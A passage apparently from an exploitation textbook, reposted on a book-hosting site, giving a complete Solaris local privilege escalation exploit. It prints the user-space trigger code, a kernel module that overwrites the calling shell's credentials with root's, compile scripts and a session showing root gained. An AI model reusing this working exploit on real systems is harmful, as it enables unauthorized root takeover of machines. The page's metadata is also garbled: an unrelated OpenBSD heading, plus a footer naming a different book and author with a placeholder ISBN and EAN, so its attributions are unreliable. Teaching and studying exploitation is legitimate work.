The exec_ibcs2_coff_prep_zmagic() Vulnerability

Solaris vfs_getvfssw() Loadable Kernel Module Path Traversal Exploit

This section will be brief, because fewer steps are needed to build a reliable vfs_getvfssw() exploit than the previous OpenBSD exploit. Unlike the OpenBSD vulnerability, the vfs_getvfssw() vulnerability is fairly trivial to exploit. We need only create a simple exploit that will call one of the vulnerable system calls with a tricky modname argument. Additionally, we need a kernel module that will locate our process within the linked list of process descriptors and change its credentials to that of the root user . Writing the hostile kernel module may require prior experience in kernel-mode development; this activity is not within the scope of this book. We advise you to obtain a copy of Solaris Internals, by Jim Mauro and Richard McDougall, which is the most comprehensive Solaris kernel book around, and to become familiar with the Solaris kernel architecture.

There are many possible payloads for the vfs_getvfssw() vulnerability, but we will cover using it only to gain root access. You can easily take this technique a step further and develop much more interesting exploits that might, for example, target trusted operating systems, host intrusion prevention systems, and other security devices.

Crafting the Exploit

The following code will call the sysfs () system call with an argument of ../../../tmp/o0 . This will trick the kernel into loading /tmp/sparcv9/o0 (if we are working with a 64-bit kernel) or /tmp/o0 (if it is a 32-bit kernel). This is the module that we will be placing under the /tmp folder.

 ------------------------------------- o0o0.c ----------------------------------- #include <stdio.h> #include <sys/fstyp.h> #include <sys/fsid.h> #include <sys/systeminfo.h>     /*int sysfs(int opcode, const char *fsname); */     int main(int argc, char **argv) {   char modname[] = "../../../tmp/o0";   char buf[4096];   char ver[32], *ptr;   int sixtyfour = 0;         memset((char *) buf, 0x00, 4096);     if(sysinfo(SI_ISALIST, (char *) buf, 4095) < 0) {         perror("sysinfo");         exit(0);      }          if(strstr(buf, "sparcv9"))         sixtyfour = 1;         memset((char *) ver, 0x00, 32);      if(sysinfo(SI_RELEASE, (char *) ver, 32) < 0) {         perror("sysinfo");         exit(0);      }        ptr = (char *) strstr(ver, ".");      if(!ptr) {          fprintf(stderr, "can't grab release version!\n");          exit(0);      }       ptr++;            memset((char *) buf, 0x00, 4096);      if(sixtyfour)        snprintf(buf, sizeof(buf)-1, "cp ./%s/o064 /tmp/sparcv9/o0", ptr);       else        snprintf(buf, sizeof(buf)-1, "cp ./%s/o032 /tmp/o0", ptr);          if(sixtyfour)          if(mkdir("/tmp/sparcv9", 0755) < 0) {             perror("mkdir");             exit(0);         }         system(buf);       sysfs(GETFSIND, modname);         //perror("hoe!");        if(sixtyfour)         system("/usr/bin/rm -rf /tmp/sparcv9");      else         system("/usr/bin/rm -f /tmp/o0");     } 

The Kernel Module to Load

As we mentioned in the previous section, the following piece of code will shift through all the processes, locate ours (based on the name , such as o0o0 ), and update the uid field of the credential structure with zero, the root uid .

The next code fragment is the only relevant portion of the privilege escalation kernel module in relation to exploitation. The rest of the code is simply necessary stubs used in order to make the code a working, loadable kernel module.

 [1]   mutex_enter(&pidlock); [2]   for (p = practive; p != NULL; p = p->p_next) {     [3]          if(strstr(p->p_user.u_comm, (char *) "o0o0")) {     [4]             pp = p->p_parent; [5]             newcr = crget();     [6]             mutex_enter(&pp->p_crlock);                 cr = pp->p_cred;                 crcopy_to(cr, newcr);                 pp->p_cred = newcr; [7]             newcr->cr_uid = 0; [8]             mutex_exit(&pp->p_crlock);                   }               continue;             }     [9]  mutex_exit(&pidlock); 

We start iterating through the linked list of process structures at [2]. Just before iterating we need to grab the lock at [1] for the list. We do this so that nothing will change while we are parsing for our target process (in our case, the exploit process ./o0o0 ). practive is the head pointer for the linked list, so we start there [2] and move to the next one by using the p_next pointer. On [3] we compare the name of the process with our exploit executablesit is arranged to have o0o0 in its name. The name of the executable is stored in the u_comm array of the user structure, which is pointed to by the p_user of the process structure. The strstr() function actually searches for the first occurrence of string o0o0 within the u_comm . If the special string is found in the process name, we grab the process descriptor of the parent process of the exploit executable at [4] , which is the shell interpreter. From this point, the code will create a new credentials structure for the shell [5] , lock the mutex for credential structure operations [6] , update the old credential structure of the shell, and change user ID to 0 (root user) at [7] . Privilege escalation code will conclude by unlocking the mutex s for both the credential structure and the process structure link list in [8] and [9] .

 ----------------------------- moka.c ------------------------------------------ #include <sys/systm.h> #include <sys/ddi.h> #include <sys/sunddi.h> #include <sys/cred.h> #include <sys/types.h> #include <sys/proc.h> #include <sys/procfs.h> #include <sys/kmem.h> #include <sys/errno.h> #include <fcntl.h> #include <unistd.h>     #include <sys/modctl.h> extern struct mod_ops mod_miscops;     int g3mm3(void);     int g3mm3() {       register proc_t *p;   register proc_t *pp;   cred_t *cr, *newcr;         mutex_enter(&pidlock);       for (p = practive; p != NULL; p = p->p_next) {                  if(strstr(p->p_user.u_comm, (char *) "o0o0")) {                     pp = p->p_parent;                 newcr = crget();                     mutex_enter(&pp->p_crlock);                 cr = pp->p_cred;                 crcopy_to(cr, newcr);                 pp->p_cred = newcr;                 newcr->cr_uid = 0;                 mutex_exit(&pp->p_crlock);                   }               continue;             }         mutex_exit(&pidlock);         return 1; }     static struct modlmisc modlmisc = {     &mod_miscops,     "u_comm" };     static struct modlinkage modlinkage = {     MODREV_1,     (void *) &modlmisc,     NULL };     int _init(void) {     int i;         if ((i = mod_install(&modlinkage)) != 0)         //cmn_err(CE_NOTE, "");                 ; #ifdef _DEBUG     else         cmn_err(CE_NOTE, "0o0o0o0o installed o0o0o0o0o0o0"); #endif         i = g3mm3();     return i; }     int _info(struct modinfo *modinfop) {     return (mod_info(&modlinkage, modinfop)); }     int _fini(void) {     int i;         if ((i = mod_remove(&modlinkage)) != 0)         //cmn_err(CE_NOTE, "not removed");                 ; #ifdef DEBUG     else         cmn_err(CE_NOTE, "removed"); #endif         return i; } 

We will now provide two different shell scripts that will compile the kernel module for 64-bit and 32-bit kernels , respectively. We need to compile the kernel modules with proper compiler flags. This is the main purpose for the following shell scripts, because it will not be an easy task to determine the correct options if you do not come from a kernel-code development background.

 ----------------------------- make64.sh ------------------------------- /opt/SUNWspro/bin/cc -xCC -g -xregs=no%appl,no%float -xarch=v9 \ -DUSE_KERNEL_UTILS -D_KERNEL -D_B64 moka.c ld -o moka -r moka.o rm moka.o mv moka o064 gcc -o o0o0 sysfs_ex.c /usr/ccs/bin/strip o0o0 o064 ---------------------------- make32.sh --------------------------------- /opt/SUNWspro/bin/cc -xCC -g -xregs=no%appl,no%float -xarch=v8 \ -DUSE_KERNEL_UTILS -D_KERNEL -D_B32 moka.c ld -o moka -r moka.o rm moka.o mv moka o032 gcc -o o0o0 sysfs_ex.c /usr/ccs/bin/strip o0o0 o032 

Getting root (uid=0)

This final section will cover how to get root, or uid=0 , on the target Solaris computer. Let's look at how to run exploit from a command prompt.

 $ uname -a SunOS slint 5.8 Generic_108528-09 sun4u sparc SUNW,Ultra-5_10 $ isainfo -b 64 $ id uid=1001(ser) gid=10(staff) $ tar xf o0o0.tar $ ls -l   total 180 drwxr-xr-x   6 ser      staff        512 Mar 19  2002 o0o0 -rw-r--r--   1 ser      staff      90624 Aug 24 11:06 o0o0.tar $ cd o0o0 $ ls 6           8           make.sh     moka.c      o032-8      o064-7      o064-9 sysfs_ex.c 7           9           make32.sh   o032-7      o032-9      o064-8      o0o0 $ id uid=1001(ser) gid=10(staff) $ ./o0o0 $ id uid=1001(ser) gid=10(staff) euid=0(root) $ touch toor $ ls -l toor -rw-r--r--   1 root     staff          0 Aug 24 11:18 toor $ 

The exploit provided [1] will work on Solaris 7, 8, and 9, and for both 32- and 64-bit installations. We did not have access to outdated versions of Solaris OS (such as 2.6 and 2.5.1); therefore, the exploit lacks support for those versions, but we believe it can be compiled and safely tried against Solaris 2.5.1 and 2.6.



The Shellcoder's Handbook. Discovering and Exploiting Security
Hacking Ubuntu: Serious Hacks Mods and Customizations (ExtremeTech)
ISBN: N/A
EAN: 2147483647
Year: 2003
Pages: 198
Authors: Neal Krawetz

flylib.com © 2008-2017.
If you may any questions please contact us: flylib@qtcs.net